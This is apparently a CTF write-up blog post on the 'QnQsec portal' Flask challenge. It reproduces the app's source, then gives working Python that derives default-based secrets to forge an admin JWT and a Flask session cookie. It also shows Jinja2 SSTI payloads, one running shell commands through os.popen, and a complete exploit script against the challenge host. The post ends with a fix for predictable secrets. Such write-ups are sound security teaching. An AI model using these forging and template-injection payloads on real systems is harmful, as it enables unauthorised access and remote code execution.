Skip to main content
QnQsec portal
  1. Posts/

QnQsec portal

Author
Stephen Waweru
Breaking binaries, not hearts. Unraveling the art of cybersecurity through detailed CTF writeups and explorations.
Table of Contents

The Challenge
#

The challenge presented us with a Flask web application that had JWT authentication and an admin panel. The description was cryptic: “The reflection is mine, but the soul feels borrowed” - which, as we’ll see, was a hint about the JWT manipulation we’d need to do.

import os
import sqlite3
import secrets
import hashlib
from hashlib import md5
from datetime import datetime, timedelta, timezone



import jwt

from flask import (

Flask, request, render_template, redirect, session,

flash, url_for, g, abort, make_response

)

  

from admin_routes import admin_bp,generate_jwt

  
  

BASE_DIR = os.path.abspath(os.path.dirname(__file__))

SECRET_DIR = os.path.join(BASE_DIR, 'secret')

FLAG_PATH = os.path.join(SECRET_DIR, 'flag.txt')

FLAG_PREFIX = 'QnQsec'

  
  

def ensure_flag():

os.makedirs(SECRET_DIR, exist_ok=True)

if not os.path.exists(FLAG_PATH):

with open(FLAG_PATH, 'w') as f:

f.write(f"{FLAG_PREFIX}{{{secrets.token_hex(16)}}}")

  
  

ensure_flag()

  
  

app = Flask(__name__)

base = os.environ.get("Q_SECRET", "qnqsec-default")

app.config['SECRET_KEY'] = hashlib.sha1(("pepper:" + base).encode()).hexdigest()

  
  

app.config['JWT_SECRET'] = hashlib.sha256(("jwtpepper:" + base).encode()).hexdigest()

app.config['JWT_EXPIRES_MIN'] = 60

  
  

app.register_blueprint(admin_bp)

  
  

DB_PATH = os.path.join(BASE_DIR, 'users.db')

  
  

def get_db():

if 'db' not in g:

g.db = sqlite3.connect(DB_PATH, timeout=10)

g.db.row_factory = sqlite3.Row

return g.db

  
  

@app.teardown_appcontext

def close_db(_exc):

db = g.pop('db', None)

if db is not None:

db.close()

  
  

def init_db():

with sqlite3.connect(DB_PATH, timeout=10) as db:

db.execute('PRAGMA journal_mode=WAL')

db.execute('drop table if exists users')

db.execute('create table users(username text primary key, password text not null)')

db.execute('insert into users values("flag", "401b0e20e4ccf7a8df254eac81e269a0")')

db.commit()

  
  

if not os.path.exists(DB_PATH):

init_db()

  
  

@app.route('/')

def index():

return redirect(url_for('login'))

  
  

@app.route('/sign_up', methods=['GET', 'POST'])

def sign_up():

if request.method == 'GET':

return render_template('sign_up.html')

  

username = (request.form.get('username') or '').strip()

password = request.form.get('password') or ''

if not username or not password:

flash('Missing username or password', 'error')

return render_template('sign_up.html')

  

try:

db = get_db()

db.execute(

'insert into users values(lower(?), ?)',

(username, md5(password.encode()).hexdigest())

)

db.commit()

flash(f'User {username} created', 'message')

return redirect(url_for('login'))

except sqlite3.IntegrityError:

flash('Username is already registered', 'error')

return render_template('sign_up.html')

  
  

@app.route('/login', methods=['GET', 'POST'])

def login():

if request.method == 'GET':

return render_template('login.html')

  

username = (request.form.get('username') or '').strip()

password = request.form.get('password') or ''

if not username or not password:

flash('Missing username or password', 'error')

return render_template('login.html')

  

db = get_db()

row = db.execute(

'select username, password from users where username = lower(?) and password = ?',

(username, md5(password.encode()).hexdigest())

).fetchone()

  

if row:

session['user'] = username.title()

  

role = "admin" if username.lower() == "flag" else "user"

token = generate_jwt(session['user'],role,app.config['JWT_EXPIRES_MIN'],app.config['JWT_SECRET'])

  

resp = make_response(redirect(url_for('account')))

resp.set_cookie("admin_jwt", token, httponly=False, samesite="Lax")

return resp

  

flash('Invalid username or password', 'error')

return render_template('login.html')

  
  

@app.route('/logout')

def logout():

session.pop('user', None)

resp = make_response(redirect(url_for('login')))

resp.delete_cookie("admin_jwt")

return resp

  
  

@app.route('/account')

def account():

user = session.get('user')

if not user:

return redirect(url_for('login'))

if user == 'Flag':

return render_template('account.html', user=user, is_admin=True)

return render_template('account.html', user=user, is_admin=False)

if __name__ == '__main__':

app.run(host='0.0.0.0', port=5000, debug=False, use_reloader=False)

Target: http://161.97.155.116:5001

Initial Reconnaissance
#

First, let me show you what we’re working with. The application had these endpoints:

  • / - Redirects to login
  • /login - User authentication
  • /sign_up - User registration
  • /account - User dashboard
  • /admin - Admin template renderer (protected)

I started by exploring the application and noticed it used both JWT tokens and Flask sessions for authentication. Interesting…

Quick Analysis of the Source Code
#

Here’s where things get interesting. Let me show you the critical vulnerability in the source code:

base = os.environ.get("Q_SECRET", "qnqsec-default") # Default value!
app.config['JWT_SECRET'] = hashlib.sha256(("jwtpepper:" + base).encode()).hexdigest()
app.config['SECRET_KEY'] = hashlib.sha1(("pepper:" + base).encode()).hexdigest()

Predictable Default Value: If Q_SECRET isn’t set, it defaults to "qnqsec-default". This means every instance with default configuration uses the same base value.

Why this is exploitable:

  • We can calculate the exact same secrets the server uses
  • We can forge valid JWT tokens with any payload we want
  • We can forge valid Flask sessions for any user
  • The server accepts our forged tokens because they’re cryptographically valid

The attack:

  1. Calculate JWT secret: sha256("jwtpepper:qnqsec-default")
  2. Calculate Flask secret: sha1("pepper:qnqsec-default")
  3. Forge admin JWT token using the calculated secret
  4. Forge Flask session as “Flag” user using the calculated secret
  5. Use both forged tokens to bypass authentication and access admin features

Bottom line: The server can’t tell the difference between our forged tokens and legitimate ones because they’re cryptographically identical. We essentially became the “server” by knowing its secrets!

Forging the JWT Token
#

Let’s start by forging the JWT token. Since we know the secret derivation pattern, we can calculate the exact same secret the server uses:

import jwt
import hashlib
from datetime import datetime, timedelta, timezone

base = "qnqsec-default"
jwt_secret = hashlib.sha256(f"jwtpepper:{base}".encode()).hexdigest()
print(f"JWT Secret: {jwt_secret}")
# Output: 426c6e42adf5519072772b799cf987967ee9a7effaa144ff133b43c141377580

# Create admin payload
payload = {
    'sub': 'Flag',
    'role': 'admin',
    'iat': int(datetime.now(timezone.utc).timestamp()),
    'exp': int((datetime.now(timezone.utc) + timedelta(hours=1)).timestamp())
}

# Generate JWT token
admin_token = jwt.encode(payload, jwt_secret, algorithm='HS256')
print(f"Admin JWT Token: {admin_token}")

This creates a valid JWT token with admin privileges that the server will accept because it’s signed with the correct secret.

Forging the Flask Session
#

Now that we have the JWT token, we also need to forge the Flask session. The application uses both authentication mechanisms - the Flask session tells the app “you are logged in as Flag user” while the JWT token tells it “you have admin role”. We need both to access the admin panel.

To forge the Flask session, we first calculate the Flask session secret using the same predictable pattern. Looking at the source code:

base = os.environ.get("Q_SECRET",has)
app.config['SECRET_KEY'] = hashlib.sha1(("pepper:" + base).encode()).hexdigest()

We use sha1("pepper:qnqsec-default") which gives us 40913aa300c33db34d976a59975adf18d90a246a. This is the exact same secret the server uses to sign its session cookies.

Next, we create a Flask application instance with this secret and use its session serializer to create a valid session cookie:

import hashlib
from flask.sessions import SecureCookieSessionInterface
from flask import Flask

# Calculate the Flask session secret (same as server)
flask_secret = hashlib.sha1(b"pepper:qnqsec-default").hexdigest()
print(f"Flask Secret: {flask_secret}")
# Output: 40913aa300c33db34d976a59975adf18d90a246a

# Create Flask app with the same secret
app = Flask(__name__)
app.secret_key = flask_secret

# Create session serializer
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

# Forge session as "Flag" user
session_data = {'user': 'Flag'}
forged_session = session_serializer.dumps(session_data)
print(f"Forged Session: {forged_session}")
# Output: eyJ1c2VyIjoiRmxhZyJ9.aPdXOw.m9jtrZIKQvIBAT5URMNCY5sfJU0

We set the session data to {'user': 'Flag'} which matches what the server would set when the Flag user logs in. The session serializer signs this data with the secret, creating a cookie that the server will accept as valid.

The forged session cookie looks like eyJ1c2VyIjoiRmxhZyJ9.aPdXOw.m9jtrZIKQvIBAT5URMNCY5sfJU0 and contains the user information that the application checks to determine if someone is logged in. Since we used the same secret the server uses, this cookie is cryptographically identical to one the server would create itself.

Now we have both pieces of the authentication puzzle - a valid Flask session that says we’re logged in as the Flag user, and a valid JWT token that says we have admin privileges. Together, these allow us to bypass the complete authentication system and access the admin panel.

The Attack
#

Now comes the fun part. I need both tokens because the application checks:

  1. Flask session for authentication (are you logged in?)
  2. JWT token for authorization (are you an admin?)
import requests

session = requests.Session()
session.cookies.set('session', forged_session)      # Authentication
session.cookies.set('admin_jwt', admin_token)       # Authorization

# Test admin access
resp = session.get('http://161.97.155.116:5001/admin')
print(f"Admin status: {resp.status_code}")

We are admin

image

Great! I got 200 OK. The admin panel shows a template renderer form:

image

The SSTI Exploit
#

This is where the real magic happens. The admin panel renders user input as Jinja2 templates without sanitization - classic Server-Side Template Injection (SSTI)!

I used this payload to read the flag file:

ssti_payload = '{{ self.__init__.__globals__.__builtins__.open("secret/flag.txt").read() }}'
resp = session.post('http://161.97.155.116:5001/admin', data={'template': ssti_payload})

if 'QnQsec{' in resp.text:
    print("🚩 FLAG FOUND!")
    print(resp.text)

Alternative payload
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cd secret; cat flag.txt').read() }}

The Complete Exploit
#

Here’s my complete exploit script:

#!/usr/bin/env python3
import requests
import jwt
import hashlib
from flask.sessions import SecureCookieSessionInterface
from flask import Flask
from datetime import datetime, timedelta, timezone

def exploit():
    # Calculate secrets
    jwt_secret = hashlib.sha256("jwtpepper:qnqsec-default".encode()).hexdigest()
    flask_secret = hashlib.sha1(b"pepper:qnqsec-default").hexdigest()
    
    # Generate JWT token
    payload = {
        'sub': 'Flag',
        'role': 'admin',
        'iat': int(datetime.now(timezone.utc).timestamp()),
        'exp': int((datetime.now(timezone.utc) + timedelta(hours=1)).timestamp())
    }
    admin_token = jwt.encode(payload, jwt_secret, algorithm='HS256')
    
    # Generate Flask session
    app = Flask(__name__)
    app.secret_key = flask_secret
    session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
    session_data = {'user': 'Flag'}
    forged_session = session_serializer.dumps(session_data)
    
    # Exploit
    session = requests.Session()
    session.cookies.set('session', forged_session)
    session.cookies.set('admin_jwt', admin_token)
    
    # Access admin panel
    resp = session.get('http://161.97.155.116:5001/admin')
    print(f"Admin status: {resp.status_code}")
    
    if resp.status_code == 200:
        # SSTI exploit
        ssti_payload = '{{ self.__init__.__globals__.__builtins__.open("secret/flag.txt").read() }}'
        resp = session.post('http://161.97.155.116:5001/admin', data={'template': ssti_payload})
        
        if 'QnQsec{' in resp.text:
            print("🚩 FLAG FOUND!")
            print(resp.text)

if __name__ == "__main__":
    exploit()

Request in Burpsuite

image

Key Takeaways
#

This challenge was a perfect example of how defense in depth can fail when the underlying security mechanisms are flawed:

  1. Predictable Secrets: The root cause was deriving secrets from predictable patterns
  2. Multi-layer Bypass: Both JWT and Flask session authentication were bypassed
  3. SSTI Exploitation: Admin access led to template injection and file read
  4. Complete Compromise: From authentication bypass to RCE in one chain

How to Fix This
#

# ❌ BAD - Predictable
base = os.environ.get("Q_SECRET", "qnqsec-default")
app.config['JWT_SECRET'] = hashlib.sha256(("jwtpepper:" + base).encode()).hexdigest()

# ✅ GOOD - Random and secure
import secrets
app.config['JWT_SECRET'] = secrets.token_hex(32)
app.config['SECRET_KEY'] = secrets.token_hex(32)

Flag: QnQsec{b4efafeb4bd43c404e425ea6d664a0f6}

This was a really fun challenge that combined multiple attack vectors. The key lesson here is that secret management is critical - if your secrets are predictable, all your authentication mechanisms become useless.


Related